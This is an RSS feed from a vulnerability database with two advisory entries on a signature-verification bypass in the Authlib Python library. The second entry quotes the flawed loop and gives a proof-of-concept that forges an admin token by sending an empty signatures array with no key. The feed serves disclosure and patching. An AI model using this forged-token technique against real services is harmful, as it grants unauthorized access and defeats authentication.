<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 15 Nov 2026 23:33:34 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-96760 — Authlib library contains a signature‑verification bypass vulnerability</title>
      <link>https://db.gcve.eu/vuln/cve-2026-96760</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Authlib&lt;/p&gt;
&lt;p&gt;Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Authlib&lt;/p&gt;
&lt;p&gt;Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/cve-2026-96760</guid>
    </item>
    <item>
      <title>GHSA-6v38-4h7w-rj9h — Authlib: empty signatures validation in JWS JSON deserialization</title>
      <link>https://db.gcve.eu/vuln/ghsa-6v38-4h7w-rj9h</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: authlib&lt;/p&gt;
&lt;p&gt;Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.&lt;/p&gt;
&lt;p&gt;## Root cause&lt;/p&gt;
&lt;p&gt;`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:&lt;/p&gt;
&lt;p&gt;```python
is_valid = True                        # set before anything is checked
for header_obj in obj[&amp;#34;signatures&amp;#34;]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified
```&lt;/p&gt;
&lt;p&gt;`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON
Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```python
import base64
from authlib.jose import JsonWebSignature&lt;/p&gt;
&lt;p&gt;def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b&amp;#34;=&amp;#34;).decode()&lt;/p&gt;
&lt;p&gt;jws = JsonWebSignature()
payload = b&amp;#39;{&amp;#34;sub&amp;#34;:&amp;#34;attacker&amp;#34;,&amp;#34;role&amp;#34;:&amp;#34;admin&amp;#34;}&amp;#39;
forged = {&amp;#34;payload&amp;#34;: b64(payload), &amp;#34;signatures&amp;#34;: []}&lt;/p&gt;
&lt;p&gt;print(jws.deserialize_json(forged, key=None))
```&lt;/p&gt;
&lt;p&gt;Observed on authlib 1.8.0, Python 3.14, clean virtualenv:&lt;/p&gt;
&lt;p&gt;```
[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: authlib&lt;/p&gt;
&lt;p&gt;Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.&lt;/p&gt;
&lt;p&gt;## Root cause&lt;/p&gt;
&lt;p&gt;`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:&lt;/p&gt;
&lt;p&gt;```python
is_valid = True                        # set before anything is checked
for header_obj in obj[&amp;#34;signatures&amp;#34;]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified
```&lt;/p&gt;
&lt;p&gt;`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON
Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```python
import base64
from authlib.jose import JsonWebSignature&lt;/p&gt;
&lt;p&gt;def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b&amp;#34;=&amp;#34;).decode()&lt;/p&gt;
&lt;p&gt;jws = JsonWebSignature()
payload = b&amp;#39;{&amp;#34;sub&amp;#34;:&amp;#34;attacker&amp;#34;,&amp;#34;role&amp;#34;:&amp;#34;admin&amp;#34;}&amp;#39;
forged = {&amp;#34;payload&amp;#34;: b64(payload), &amp;#34;signatures&amp;#34;: []}&lt;/p&gt;
&lt;p&gt;print(jws.deserialize_json(forged, key=None))
```&lt;/p&gt;
&lt;p&gt;Observed on authlib 1.8.0, Python 3.14, clean virtualenv:&lt;/p&gt;
&lt;p&gt;```
[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-6v38-4h7w-rj9h</guid>
    </item>
  </channel>
</rss>
